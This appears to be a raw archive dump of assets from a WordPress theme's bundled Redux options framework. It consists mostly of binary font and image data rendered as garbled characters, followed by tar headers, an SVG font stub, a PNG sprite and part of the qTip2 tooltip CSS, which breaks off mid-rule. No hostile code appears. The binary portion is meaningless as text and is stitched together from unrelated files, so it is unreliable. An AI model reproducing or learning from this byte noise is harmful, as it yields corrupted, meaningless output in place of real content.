akjI7$ؙe=T~"&^mψ2@%&(0Q5:Mo>+댬H: C{N﩮9X4w]6׮H8Z}ݒp59m8S9I9W^ˤϫUj;yS,ߣKa hNCYeb쵐7'g年6ֆbX}w6(U%.Y um0 w ʶxf%ߜ;[Sư[úVUE*odKA4h!*}Y?r;& sgͶ]q%wfIwtO=žNl*iB^8}Bcc3`QQ6{PqT` 4]V4۵͛Z}VWg``$5ٛ@3rFu6L9Jg/ / ֲbKDRC@3[!ľ^$붹XÅnjÃ67׻dEGߩ/pW;@S} Mr2Z焂-*nF -@Kô$e^G[K%;g\\_mKtmsfެ˥36%()^p֥9AI'@#N+dSAIED?]Oft:_.g؍徉rki2dp ]N!X>ZR$gzYH%6WPM0WPj74->`( ,(@.ݰzojq^C`諙lQp]_gsJ{>[K޿BuK>u#,=sP譛=Gxsݝ5ӝ轳RW}PuG-־R ց᪭j~<-ѭzQ{oԐud7,o>ayMmB!3-!hqlA9%~/Gu`۶]վg1у"KA6*a;d6AEpYѲْQ*F{>!*;XU#:B~:Q:iXXh=5L3vZB1Qv*G=k= !'-a,F<ᄰFj H3->AP9]ZJZGЌA?h]}[ "Q{Ӗ>k5UeK[9 N8`յ>>g^}WVeYeY\d;6\ bc:zЉyy /)'$HB4sg%ݙs˹{# ߵ:+PxYmD6V Y%t~[vMu~I39F2"H z3`;^M&yG鄀1< r^kjXfC͆Hfl" aw(iDsp9Vpr9Ts 5B >s:mvSrn`U ,J *ltf}M~#P Whqx(XmMF>EyG!ӎVn1m1"ɢp6r߲:;A-6m[WZ︭/ 5(ikbAd1uVfmatj3Q(1&T$'H(!<FiQ X`D"5fdrkrK{h-Q>QtDS(sB)pNM";`kF'Cal#1YHy?i8^q,^lQ&fVu gdaqfjmaoqG&P⏸ .xF]GZ$DjΫAR۷ zE Xw]~y Z[*{m0>wúֈC16ڬ5mgKGM}'BOӋ:YÛS͌#QS}(4_ %@@Dx+2c7 n3m4G*R3R=jYAcclIKDBENp:9%B;Rpmv)}r5.%A. Kn8"Vo*׶_3N˖."[̇.A|~poK~eQ||Bw/f@:ruL"+N ؙ%CM gbHy+H`|)mQJP"mL 1 fh7 }9ߜ`-jo`i*+}}H;Rz=brdC 5k3ɨ換. T}P"LS^`>I"kj;,>\sXz})X?ʼ2/s`| `/gq?ї Le -X9ZwXn./U6Rʲ`m6`W8j.a <8cSfb3t6Dz|IRT;)Oէ1k>nw{T̀߉qTw~r`|Mpn7W!;&&˜+|a 8 K*@ D$VQL`pSOAEL v^ɰ G5CFau_}wZڗ;h4wXv;lD$r$j$@WĀMWOGu&Ԅo4A1׃:fA oFWIˬֻiz=;c{jq:; N/ndkwzV.<D˵D%A`-RDҺz$;7^ l CC2{rfYL[-GErՔֱɐѩ}y:˦8 +)GmőlԌl,9,{]P4EC6V^uoٰT̼f{MĀPwI/e>0qAHU"]8(ڒ2{:RsUskK:P9Ī6 wVKlkQ6(kױlW%}nG]N=J-0fdJȁkOTDZGv0ĠPHY$Y3Ce$4-lof1ddRg`Q׉RX=GH&dɜ@&V6t;;񱃑^*8:yTYd*ꖝк"i%J$)\yh 9jǶXe{TO4T́u@hRI `r_"^E7tvص6V@rҞb@4Ȯx' ޏ$AZwUɟl nPbSOv`0rz Ȥ3Z $~o %e;β)k፡#Ѱk;;9k_xhW=ё%,,3k^BO>akpͦq14+i/-CAm!OVnR )PaG\sdfv W'+zr%2xbq03W1 K%v־V!77FbEi/9~7i3*UcK*\@Ha=BLQ,ϣ\DٽȰN 3͐p))bqbno![(pge8$4k"n_[U]RL]D2_:֤!rN8@{P 8'=<1ת|Rh.uGMZ9 ԙb2tqS*[ɤv jS]pI L`|=2+;l }mqUChkZlDIVk9˴Uu y-lڪe:f39!l"|?aahiHH RYtVKėQr‘?Cڰ27JΜ)) K"3y-w}#Pu7mdm`] _ʛ㎅:76ntm+crwy d˳YĊaZI]?3}a-Ƶa"FL1Ùg6T ks$gk /'2DF}~qx1=bzm |㟎~:JGFe+n|U(X0^'!w+u"-4;I%eEC}`F nUz7V._Τ]@q"xĺg.޺xAWTOOJL('Җ]J@sPa(#Ti!0 0 ,D/ኹvhAm9vrr)r<Ư˿+Y?,`'cYD~.zrqT4DA0C@$>Ak$QhጐW"6DӽSӽH3)q7߄G>|Dy qF*NWW AaRrh4Zn!AB̦ OO}b778M'Ogvb.-ֺɬp"r)T"2 `+s@5G-evslhD&QPӈ[0n6Xv ꊀV4EUnȩjsQ!s\KcTh4:H,g5ם/\oQ"UЭb~dO-#0,'b f0N\Z!%E``q\QJY̅2XLqbYŶYldX+Okn8ZhijahX5rhYWg[jcʲx8&BF|F=l6(!tj8)a\r4A2qv"RW $`G<1!<ŵ>wUyݾ\*7˷q+*r_, 8O}ꇷ԰܇=wz5t\sOa%f/bH Bwk[TEzo`KUйK]}msSc8&ѿQ]3+s",ueQny% "Dl#:b2#P\kL,PIdW̵ʰH2ؘ[NT;3(g"LmAE=!?Q7_h- > !u+yެMQE3k6M̯ž%Z-ﻪ Hid~b۶Ol"]WbOuny9uZd)tY M̵|gbKQEUцm65F9 XG\F t{-9229} ]W';;ye}%my +ӗBzDX"G xԻ>FBNV53JKxCS췦Z-~d*ǧ_=>~Mmwm|dxo@+3_&{G _؎>.ϔgD$ٵ6⻅ Tg1ht7N)zz()ރ'o2Zx~>燒8W+*"$7[|Q^uDdfk =}6 ?*O]͟ϣr;syy6+}00綕2`E 1%~5DΒϙg32P&f@<<|cZsjrH]MD&"*7Bon=t9q]]}1Lr| 1pT a%"h sN:" HƸb ]^T>xgW4X P2 D43XB?'%_%7ȳ3YNKJ,e!tObF4TGzKZQ5 qgJ4?ٰ]]7MyꜧқvUZ^l4 5+k]_LkM#Ru!nћ:ㅤ 5h E y.d }%Z듎MUژ;bN$ 95뒷B 5# CokqLx`p5Kt7M# x*J1>'8*kYU~g fnzWU[Zi1JPY,fhbNYUmyrWou7/NN{fTat65/¦R];XliJĨlU-e{o5%:c.SM]Oh*rh{Υ `6=7e]c&\m n|K^] :YaY#/j/k" *-S۵.xaZ$N/5,GsOF1^Q9IPk,:KvE%^*,'* +%@ $[BD j@huR_YL!P5|ct i2 dxD2ṏl.1jvp[ͱ~bڻ:*BWjwy>xj"MPoW>zh[n}o[?Z6=+nX| o۽3JmPfȱM.i3/ԕF__ŒղoTFNEe*׍3ƨ25zQԳPq+#E{U蜹vpт?iokG#͍ ,Q+f=j!Čgڑ-Jf!oGMl&BM3gDi g}Jo._%SXr5+W.)xɵ]{5ݪUo_eCpj\]kK'1[dɋs_2KB=N*U't1P {\>1K-ZAj"@J2DJ(gQBD`^l#/ sΐY9%sCϙCί]}o| 'p_~A/B-̔32G ڻ*DgPh&E@t4_uFJiM/8]Gl։Uڹvw^Lߠ/jRblcADmWDݲta"AH]Or}D߰1&VIjZ ""g3 pb)k as xIj2DuyJ4>{ՌȦQ)D1<lN8g| Ԧ6G)/snknmyo{׾',Y4>GF94<ܿkv˖kLoƑ#Gɻ̬0*7.&_FmeLia!b9n-lKTb(^3j= 憜$N'Q@;-j"vX/2-pyvZ4Q']*P7fs6yfs6Ni18bT`S8b`UtCek?ԹdኗL<{=Z h}bKgYSΨ^KOGmɫ7|VtiaVo^[{ώ-³+9m^7-)5Xi~{>> pHR.q`wx>tާƵŜXhB ɣWvnq5Bf0`43[~NDbCwg!Iu0퀊U,{}/}\fMe?"*xU^ڷWv]4kSa~&D \Y!ϧ 8 @ L>9&%ݻv޵g ̧7r= #: '6Fna43w=5 "o^E;Syf_K_½}+멬3T"ל(%$+q'Pk~_mGtΞON>$//e:%-fp+d^8;Ϭȟ`1 Dèҭ0X.V|8u%Y3v<&ٜYv B_RZ:^% ꯵8aJ XnD8m?@gD~J2i{"d(}h]|b)hjMUj,Yy'[J$'c]%Hh›ֵ"7OĆ[H]8mV(h#L*I a +&Ϣ#n2/CR7eryU.Kp<1)wd{+:$M7|r<U' i6=WX4^*Wkt|Q#Xm^^5 Akt!,Kx5tNe9 6Go]EI%Rh,٤h(nF`xr+J+"cO+YdhHDb񌃨fe)B )@ԻD8WG6א,+0g?v-͚w޲zpSlc W#:c%. g͢ &Dv\PueȺ/y}甿R"6V+(|qP;-2.~𩇟ZH6 vΘg$W(9#b4Gv|!(^JYcaeZh.!ZnGfndR .Kc٬ XB9A+<[1S("f{K5kl}ABXRr jn=&W_qu],LSL 861Q *:,B|xv|M=J&&+`)?8͓3\pzN/p'!?A#L>Ri+$JqB׫TLz yAim1iHE8Psbq3 HsDCIb"1M%LUjHRsفÔiœ|l 븈VG,Cn =ݜmN5!(q+S[-+by]]ul$I] ј)3i,&~r%̀XSY]Qcg LOV@ީH'0SHS8?ڀM±mV`\*ѠF"[0_Бf%ڼWr-fQ-pL:C椘i$v`uA1;R<fRaU%XpZ8DLyy g5|^zY?1_Q>-qhGZzXMOTph<6YO!^b_g(/W؋__% *ٍKGi,)ʥЏ"o'ײgc@"c` "fCbqn"z[\#V<I b*,Nqf V2TǏ §~%Oݺ|;'~6[.(3[-voS]l֮'(E3^5IDQ xD^˪N\U ߿˟-^TW3aLjbTGBna- Vj$FSM2LjQ=&&v0a$ւJo߳Zt}Cw=7t ]TUe%z*7v"z )iqA_0 K# r.% hl*&'Ő <x4Z凲EX$)< ll*qlsdY@?G*F]Q!?KLx.fhς%sձdeHA#Y[5gh"*ӻt 6V̀DJb"eNWLZ""i]ug-ӗyƉ+S\wK8Q4i}v+sS[xԢJ% )ͫ.;{mNv<Ֆ-XD3'J|Lƴe1Z7( $H7UG+h+DHK&\^Wt88f4 %vMD_TeZ^:VUm5(c5V#ovn_ &Uv[͕2sbUJi[/%і\4n`qAV%#K"$]]>5k+)%Iө@|isw?dW5aGĎt# eԼJ=yd#cè2FH+YgcN0km=n+{ʐtouB=?8ԩDkNZ`#Ȯ<+ ̛bx(=f"Ũ]<$ُC[Mvלu9蜜8 ϿzmbcxB~z5yYgGq;!<'vMg56 K([42s)JdX@:$4`^1CO; >?4Ev&7j?Q%:СFMfr'_2$#j.6W67lZ0#hZސ<@Rof6X5MM%O. WNR :NJUčPS2Lm,y&&qIq!1E ta#E,yXVHH^74 u_$qKg &}IkμFBM{J[Ԫ=[e5z[{cEt[?>4{;ͭ]~vDM?$G}[x&MqՕkb5m%RQ9МZpnJUXxXb25n$߲X^px'FBĊ%rT)-Li嘣a}M rl`u󊋇:쬉ڌҌ!_Li`2 ]Hޘ`EiNd 侥KZ[uuM bT"E܃J6YEȫ&OE\VQ6Hk=A&?@בT'&w]V@^O^pGYҗ#~/O'W cuL~oէ O^edY@Jqg)|IY)q[N-HVZ;ViM;ďLEKzKVM.i*kK7s2,Xqc J[%'P*'\Y(Ӫ$+aa :Zl3vϨRC$ e]N_#^7Lg)H:# J(D-I(4HPq;mVA"3grE!R_bq9'B7&~tǏ|j݊'GOfz@J9PGݿ$GK 3G{툜G\;b3J8FNuRVRWܿ3 g _gMjq cjba|"WΏ3`: mD%XBn4YBPtp<B_BJ+'8IYJ u[GxC= k %t͂ YS;׭_USġm;X]2nЉȠTp4"93@ ٨Q1$ Dr:qЙ9G+l{7 |;}H4>56t7ݿ^_,sx}3su/+:Z( Q[ݴ {92;Yˣ=~QbX10#K˨y]yH1?@f?ceԔ_jeH8}R~Ӿ+@-졂_$w$}f* JJR3ȻNגȻ|w##< %+#e 6MDOшPW"XxˆĦ.;]N_# DS[kcԤNb hhQ#O  *!7[v5&YFKS೬!GԍǍL bާЩcI۲B< nkÓIq&hZ3K*)&R y>т\t`$4)RhLe"PUoxËoڛ7rߔ/C_DH!9\x[(A|_曤Ho)L̝O@D/(AԒ$~RCv1$ؒDu^L|ܛ_/j.z԰BBIY}X+kރJej߾pso} 7; L  &*q%Ĩ^fm!lʏG >Ip%"?Ny~c_]|G7~/%>ro?z^;_ /;Wa7I91R{!\ZV0jĐT dX 0:Qw2v`*48Q'zAˏ[ͬd2hYX)lѰ2ځ9T ֎X޿tqO{ߢXi(qmFJbڠ9&%!f_tbJ% !:OQ&EK֍&$ř=V5Wd! +Vt,ZémY]éwyb1J,굖(Q!ZEfQmS"`_y*n${xds?/ju9{vXW[d̄}6DC(ZGХՔZÁ꒎1GvQvQ|0x$gsGeM=oAk{M(+xB,u] Yu:Y[qb<"ԇFyhӷw7E"fq|W8WHe'XA"Js*6.֙Cv)};C{eW{&y׉>jLiaNYӈj}VB":DYfvmDt a,Iģ '$\&Qr.(9g%/x>i <|瑕O3.g\; r̢BW G<7:>+x%Es}H2emQ30c`\2/8XWVdllAg vЃW.Z46vz>$!Z? _M̸Ai:]NrqjDP>n#ZSC sU僃?_> ,}W#7lO]ɢp/ortJi:,KcHϘ߫f͈-r鼔bʋNm{lt4n՗yHn6oo.g/\5ֈCf%S'XƭaŽW%^[ݶc5|ꥩ7&#A?WYӽ6ZϝcZ&W DQ60H)¸ (#47Di8I8c4#V @t,ʅǐx4dՖ~F^- +Vn/`7Uʠe$D9! j2%ZנJ`Zɠ~M.iPM0%t>?»SI&SHhQM.FD)Ke3ʊx,`&PZ)DI8ŧR)b@~K?ibMg58`E<~Wذa\c)yTe#՛XuQTwyW%\~m_-ވۙxY@TPSU, H(0vlCbd[) _4;=F"-|-)ŝ~=V_t&h "5zt:}%tPSֱD4}@7T!"seD/@8 [A~x"],ipQ *;WBڮ=Ɓٸ8G/XaQXuwłCV'vSzj^JN ( F-;M"1];mV /[@t$8 9UϹG GF~3k>IXVyĹ#]gk?C6YR26adPa`ժeQc/jjn5 %3QXZ5jj(Qk/]|p0j~yNEB&mb؎lL `9g4*\ApYı{{[ۺ䂻6dÃ\l_ܓ4f`$b/aEm<-JFϕ57BOL -/iλvSY\;#~&w8x *j6{$ZC(.?݈V-)?IW/Db)>ld? Z'ha,ICZK渠D R4N1̑P?Jxr\+ف O+.9snN 7lh8,+ 9^g^XCF>n+u3vDӑBCѽQ̹rf0J: S.Ŀ܂Y9Wɯ_xi(RYEӅ:@> A-bɜҪ0]qZ$X 嬤^>Z;܆ 5=ZC Y+fSp )/EvCEV=^}bSGv%qgϙ\=3ft_mil$ KdI,#|6c@1lp:$$k'$x7$1ݐ&+5_=#oW~3ݞ?_e|C"M\WΟvbtm8o=Px蝀㨈 M9b`"*]sy@v r#!uqqa:At8 ٌDXe1ޅY]A^r+9ʷ|rꪩ{}z;ʼ+w6s0%`g*z6|2TPqj~ ]z¥t,Z?sOPv^Lo/ѹ1Ȇn$4"`qGhmK2REGd$/S?siksXf,N,uAN( !U DihE kep T$tOgT%u_'[Ħ -(xA[LtHгE/Y2H}3$-#q~W/*{Ÿ5w͏Jzo5Gʑz 2u$TdBYg"\:?NGKqiI+5vh"g7Jl =A+H_Qگv##LN p `"EZn phopGb)ezs7k\T@E\ĝ"H(N2sIUx Քxql4H<ɒ6,4|p4*Jƣ>'+ʠz%DdqܗO%/y"q@CܡCSᧄV :Xrհ^U;q g)o}E^we IQAA˓1/HJLeIUDWd[f퉸˕V`/L\K990-F,S] @DW*XREiXmY|λt~^0>aueNNr}^).xTe 3qW^FL/,yꋗ>I5\Cg 㘊ho|RT71f˻?8M[0PDZ^GAYiI(Yp$"ŅE(] B8  u^ҝTxmxoKKoFk?1o gl}ٕ?ü>vo ||mo<6t7孡o?nIz-9ݍVYhDҡY0ļZ#=]Ad%))erxo̳RIErń6-CxiS#e*ېSEdb󖠠xqk B@buk':觛U.A,yjC8)aΗ``<q aZ%f.#?, BG/UWvp2TcAO}ӃuG-E y]dvH "-8QxE0]2vȏj=zd*G[uXh!"\ļAb[6x4Ev:FM=+ÎjYsۧ1|fq`6q; 5b,0A4 T7E_9bZ!= O;3 :+wlߺe|lh0ڒJ͇Bȸ#\5Py%IT=UǸF/R]CN5kmbMX}Ht`FTj1jY-{vg ]_lۿ9dSmت y sO,dZ hxK1A+*ou!-$Y,!}A@6K9Ke L+eG7j65 I[rq `B2.8 Tw[rAolx/Y }iq?ڽ[D]qW]y@@ ZAΡ8qBPRK;xXca:S|IQ #~WձzWZWׄ_ƥUme8ی?Dx5UTVpYUq\k)YT]07Mpy <\N/;m]AbNapH>03[C׿}̧[9+wT>py+Rnfl$.A 8C!#ͤf~^0zP;2, n #i ؑFNTw;tkWZ1a %pb}׽}ryg`-_9 o4A ]U܇oE}X!Ckwe\Vv$ΔKKWD=@T4bSb"1GXf Վ`@cPyFݘ8fjS;Ő/ ^whX{U[ o`Aڥ@z|A<|due`Siw%uVrOS&n2箟 ?p7Ⲫ(SA}tn{<26-8\siw]MeOA`՛IݝN1lC0\O!ʰ2F&FV._U(ƍLCF& e*Y5C>wp?9vbjD{@]aK,WXkc;DHϱuB$Ykvz ʛ Hmk[QlղXp޵-Rxî\;^4􋗾߽=zd䱽]~l]lg/7MG$tk rp(Ʒep|"82b<޾Na#$b0JVDr%cPKb6aY#Ir9Y)>Ho!XS|INٸQtѼ4},F0KvD*dvvܝ;6M;я }.:.m̎C Պ]Qry.T~VV$yS8UsVUpV:̩Vg9/ؘ@#׎^89 7Q/_=G~UWj]89ӷiF>mxϦS,;YE70мwɁlk!KY{OOʞ}u5(̀FւAEfc@)W%-c`Me| <*M;v1)ȑ$ QPTIoE%oP [%D"R}2_**&ҕjKuثTv9T(kBbAp "UGd>=emh M`_$b#[8 V((hY JPu4gIۦ+*Q&4AӤDD[u:ݮA5A|rdSؐNi =HMKTucx?WDۓv8O,BKX:he#Z_;6FQ|)jg 6Q=A%DRceou6%8HӒ>l% R$5Y(nmqO~pk,4g@o,"Uf[GN~x-۸-ǫ𮞾>T~a ׯ̃;qU:oJLpmG2w#eWf V3X2Q쫁ݨsC]f K i&ojq~B?u02 mOW+9u9$q,0<늄!DLr:Kvfv qY>zM7i׮M}?xxΛ1.lDg'~썻7vP9@_KHMtغȜl&ZL8 HvVrr LdQ}E#;wĎ-dYkS]Mi:On2D/iH;~|n/,;\FT; x!i(/4>Ѓp*VԮ*-%I(P|DȦ4B2bfhĪAQ"0qjz WZwDX3:EwC;ځ.*ꛗ{AZ@YZ+Ȉm8G)㮻vؚCsLgC%O1C4=GweL49}G} ׷cWes}Z*@lNj2ZLoxyB~?bX2ECH~~tji*~9Gw\ݓ2\e\n~`_I:fۼlթd"H$CB66jŬ6dU=+Ԯ,Nft}<#~٩3g Y?O?y I>t0Jj[܎6^c*U$ӆd*d~Š.UK*]@NY_[kq\ںmkCi|^{KA$p6d!۱uM,N$2#DOjCk)5>ƺ`R2L4= _DcXòxZ:+;l m!直)-a?dB\x-to&<747l[&&R΅ *5;yDskUd^ǝz5Q]iɮH*'iW `Ea]a =b"170qu( m.Wo^p{cC+ore%p%\w9Z~[3TO۵C˖ԦoC(Dd( A ftҫ!ˁZEoU<ȣ2^ܹtv<+$SEHJ 1 z*`$+C0B[J)6u-%/^{GxYvϑSW\G^Џ&>NKƉ1kpuoǮdGW, |.CT +L`rF;t?E ){5݈7}noc4cɑ G3Jv^GR{@ڻxD #v$)[^on~[iI34 y&E&mj83UċqY 'E߇Oo.5{CqZ --v5g=CoSqҴP^W?W0>բl Yh+ùb%w~+w Q$ؙÍgugI,7*$M00h01B12334\6 78^89 9:;t>?6@.@ANAAABCDDDEElEF4G(GGHHHHJ"JJK KLMFOOOPP~PQ2QtRjS$S\SvST TURUVVBVZVWBWXBXXYYJYZ:ZZZ[`[\\>\\_X__``aPabpbc`cd.ddezeffgdghh6hhi$iRiiijBjjkDl~lmmzmn2njnoLoppqrs>stu"uvTvww0wXwwwxxyDyz(zz{0{| ||}&}}~0~v~B@΂Ѓ ^^VJX,|R5L\sx1j1EBEWb 1 la v>F\r|)S X07_AAZRċk|*|+h\bn4OV OSU<ŏrY.=":qcF@y #s{ip![T *) mm޺Zm*W9is>ےlNz9M;+"b #Jx]gccsuñu"iJEV2lI7eT%d+T^Qlx\>¤wﭝ'0@`&fffe21;s0's170/1? 0,B,",b,,R,4aYcyV`E+3UXX5 !SPRQ>ȚŇXuhhYX ؐ6|1|MؔO[ak>6lvl<;3_`ve7vgd/×ؗ/|99C99#99c9999S9939:p.<ɷ6|.\E\>?K˸~\9Wq5\ï븞_s7r7s r~=?sw߸{yyyGyy'yy,/^e^U^uM[a0s%&a0g+ a0%L ahX,,KaZX&, ˇŠazX)fUªazX#L$ĐNgd"q{nnnnm2'~'~'~'~ԏQ?G~ԏQ?G~~~~~g~g~g~g~~~~~_~_~_~_~_~_~_~_~_W~_W~_W~_W~_~_~_~_~7~7~7~7~~~~~w~w~w~w~~~~????????{~p7[[۸۹;?h?h?h?h?h?h?h?h?64xcp"(b##c_Ɲ  X620hAhz''2e cG`).@] ,! %@Gk ,\"inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/fonts/elusiveicons-webfont.svg000064400000370670152342437710033263 0ustar00Avada/includes/lib Created by FontForge 20120731 at Tue Feb 24 11:41:15 2015 By Dovy Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/select3x2.png000064400000001515152342437710025040 0ustar00PNG  IHDRxPқIDATx흱nA@#A C%\P'  Q!AutD+-n\$4Zf8nw+])r✃o`h5='KA8 %7A)\%!q&DO\ ,{H.)^ S7=Ȣ:du"րi}%E>t s"|גP? sBQ5c!y sg8"e-dn61~,YTp6zCub Gp  }y:J@p7kԣ JR {Y2w/,uO˓Sw5Z%}kphhqɱ96)\%!q>F8G+WwXx$V.E(<`Q¶{a~(|sjF<\%k'KAT+y ^pOI>. %{'cJkx!x'?lKSoZ_- J.tp7AL=[/AደUrwB!xJ~~og S\E` AC5P"qabl cP$#]`Ӓl]pZr`ӂӒl\p(I+%x`@11&(mWIENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/qtip/jquery.qtip.css000064400000030136152342437710026501 0ustar00/* * qTip2 - Pretty powerful tooltips - v2.2.1 * http://qtip2.com * * Copyright (c) 2014 * Released under the MIT licenses * http://jquery.org/license * * Date: Sat Sep 6 2014 11:12 GMT+0100+0100 * Plugins: tips modal viewport svg imagemap ie6 * Styles: core basic css3 */ .qtip{ position: absolute; left: -28000px; top: -28000px; display: none; max-width: 280px; min-width: 50px; font-size: 10.5px; line-height: 12px; direction: ltr; box-shadow: none; padding: 0; } .qtip-content{ position: relative; padding: 5px 9px; overflow: hidden; text-align: left; word-wrap: break-word; } .qtip-titlebar{ position: relative; padding: 5px 35px 5px 10px; overflow: hidden; border-width: 0 0 1px; font-weight: bold; } .qtip-titlebar + .qtip-content{ border-top-width: 0 !important; } /* Default close button class */ .qtip-close{ position: absolute; right: -9px; top: -9px; z-index: 11; /* Overlap .qtip-tip */ cursor: pointer; outline: medium none; border: 1px solid transparent; } .qtip-titlebar .qtip-close{ right: 4px; top: 50%; margin-top: -9px; } * html .qtip-titlebar .qtip-close{ top: 16px; } /* IE fix */ .qtip-titlebar .ui-icon, .qtip-icon .ui-icon{ display: block; text-indent: -1000em; direction: ltr; } .qtip-icon, .qtip-icon .ui-icon{ -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; text-decoration: none; } .qtip-icon .ui-icon{ width: 18px; height: 14px; line-height: 14px; text-align: center; text-indent: 0; font: normal bold 10px/13px Tahoma,sans-serif; color: inherit; background: transparent none no-repeat -100em -100em; } /* Applied to 'focused' tooltips e.g. most recently displayed/interacted with */ .qtip-focus{} /* Applied on hover of tooltips i.e. added/removed on mouseenter/mouseleave respectively */ .qtip-hover{} /* Default tooltip style */ .qtip-default{ border: 1px solid #F1D031; background-color: #FFFFA3; color: #555; } .qtip-default .qtip-titlebar{ background-color: #FFEF93; } .qtip-default .qtip-icon{ border-color: #CCC; background: #F1F1F1; color: #777; } .qtip-default .qtip-titlebar .qtip-close{ border-color: #AAA; color: #111; } /*! Light tooltip style */ .qtip-light{ background-color: white; border-color: #E2E2E2; color: #454545; } .qtip-light .qtip-titlebar{ background-color: #f1f1f1; } /*! Dark tooltip style */ .qtip-dark{ background-color: #505050; border-color: #303030; color: #f3f3f3; } .qtip-dark .qtip-titlebar{ background-color: #404040; } .qtip-dark .qtip-icon{ border-color: #444; } .qtip-dark .qtip-titlebar .ui-state-hover{ border-color: #303030; } /*! Cream tooltip style */ .qtip-cream{ background-color: #FBF7AA; border-color: #F9E98E; color: #A27D35; } .qtip-cream .qtip-titlebar{ background-color: #F0DE7D; } .qtip-cream .qtip-close .qtip-icon{ background-position: -82px 0; } /*! Red tooltip style */ .qtip-red{ background-color: #F78B83; border-color: #D95252; color: #912323; } .qtip-red .qtip-titlebar{ background-color: #F06D65; } .qtip-red .qtip-close .qtip-icon{ background-position: -102px 0; } .qtip-red .qtip-icon{ border-color: #D95252; } .qtip-red .qtip-titlebar .ui-state-hover{ border-color: #D95252; } /*! Green tooltip style */ .qtip-green{ background-color: #CAED9E; border-color: #90D93F; color: #3F6219; } .qtip-green .qtip-titlebar{ background-color: #B0DE78; } .qtip-green .qtip-close .qtip-icon{ background-position: -42px 0; } /*! Blue tooltip style */ .qtip-blue{ background-color: #E5F6FE; border-color: #ADD9ED; color: #5E99BD; } .qtip-blue .qtip-titlebar{ background-color: #D0E9F5; } .qtip-blue .qtip-close .qtip-icon{ background-position: -2px 0; } .qtip-shadow{ -webkit-box-shadow: 1px 1px 3px 1px rgba(0, 0, 0, 0.15); -moz-box-shadow: 1px 1px 3px 1px rgba(0, 0, 0, 0.15); box-shadow: 1px 1px 3px 1px rgba(0, 0, 0, 0.15); } /* Add rounded corners to your tooltips in: FF3+, Chrome 2+, Opera 10.6+, IE9+, Safari 2+ */ .qtip-rounded, .qtip-tipsy, .qtip-bootstrap{ -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; } .qtip-rounded .qtip-titlebar{ -moz-border-radius: 4px 4px 0 0; -webkit-border-radius: 4px 4px 0 0; border-radius: 4px 4px 0 0; } /* Youtube tooltip style */ .qtip-youtube{ -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; -webkit-box-shadow: 0 0 3px #333; -moz-box-shadow: 0 0 3px #333; box-shadow: 0 0 3px #333; color: white; border: 0 solid transparent; background: #4A4A4A; background-image: -webkit-gradient(linear,left top,left bottom,color-stop(0,#4A4A4A),color-stop(100%,black)); background-image: -webkit-linear-gradient(top,#4A4A4A 0,black 100%); background-image: -moz-linear-gradient(top,#4A4A4A 0,black 100%); background-image: -ms-linear-gradient(top,#4A4A4A 0,black 100%); background-image: -o-linear-gradient(top,#4A4A4A 0,black 100%); } .qtip-youtube .qtip-titlebar{ background-color: #4A4A4A; background-color: rgba(0,0,0,0); } .qtip-youtube .qtip-content{ padding: .75em; font: 12px arial,sans-serif; filter: progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000); -ms-filter: "progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000);"; } .qtip-youtube .qtip-icon{ border-color: #222; } .qtip-youtube .qtip-titlebar .ui-state-hover{ border-color: #303030; } /* jQuery TOOLS Tooltip style */ .qtip-jtools{ background: #232323; background: rgba(0, 0, 0, 0.7); background-image: -webkit-gradient(linear, left top, left bottom, from(#717171), to(#232323)); background-image: -moz-linear-gradient(top, #717171, #232323); background-image: -webkit-linear-gradient(top, #717171, #232323); background-image: -ms-linear-gradient(top, #717171, #232323); background-image: -o-linear-gradient(top, #717171, #232323); border: 2px solid #ddd; border: 2px solid rgba(241,241,241,1); -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; -webkit-box-shadow: 0 0 12px #333; -moz-box-shadow: 0 0 12px #333; box-shadow: 0 0 12px #333; } /* IE Specific */ .qtip-jtools .qtip-titlebar{ background-color: transparent; filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A)"; } .qtip-jtools .qtip-content{ filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323)"; } .qtip-jtools .qtip-titlebar, .qtip-jtools .qtip-content{ background: transparent; color: white; border: 0 dashed transparent; } .qtip-jtools .qtip-icon{ border-color: #555; } .qtip-jtools .qtip-titlebar .ui-state-hover{ border-color: #333; } /* Cluetip style */ .qtip-cluetip{ -webkit-box-shadow: 4px 4px 5px rgba(0, 0, 0, 0.4); -moz-box-shadow: 4px 4px 5px rgba(0, 0, 0, 0.4); box-shadow: 4px 4px 5px rgba(0, 0, 0, 0.4); background-color: #D9D9C2; color: #111; border: 0 dashed transparent; } .qtip-cluetip .qtip-titlebar{ background-color: #87876A; color: white; border: 0 dashed transparent; } .qtip-cluetip .qtip-icon{ border-color: #808064; } .qtip-cluetip .qtip-titlebar .ui-state-hover{ border-color: #696952; color: #696952; } /* Tipsy style */ .qtip-tipsy{ background: black; background: rgba(0, 0, 0, .87); color: white; border: 0 solid transparent; font-size: 11px; /* font-family: 'Lucida Grande', sans-serif; */ font-weight: bold; line-height: 16px; text-shadow: 0 1px black; } .qtip-tipsy .qtip-titlebar{ padding: 6px 35px 0 10px; background-color: transparent; } .qtip-tipsy .qtip-content{ padding: 6px 10px; } .qtip-tipsy .qtip-icon{ border-color: #222; text-shadow: none; } .qtip-tipsy .qtip-titlebar .ui-state-hover{ border-color: #303030; } /* Tipped style */ .qtip-tipped{ border: 3px solid #959FA9; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background-color: #F9F9F9; color: #454545; font-weight: normal; /* font-family: serif; */ } .qtip-tipped .qtip-titlebar{ border-bottom-width: 0; color: white; background: #3A79B8; background-image: -webkit-gradient(linear, left top, left bottom, from(#3A79B8), to(#2E629D)); background-image: -webkit-linear-gradient(top, #3A79B8, #2E629D); background-image: 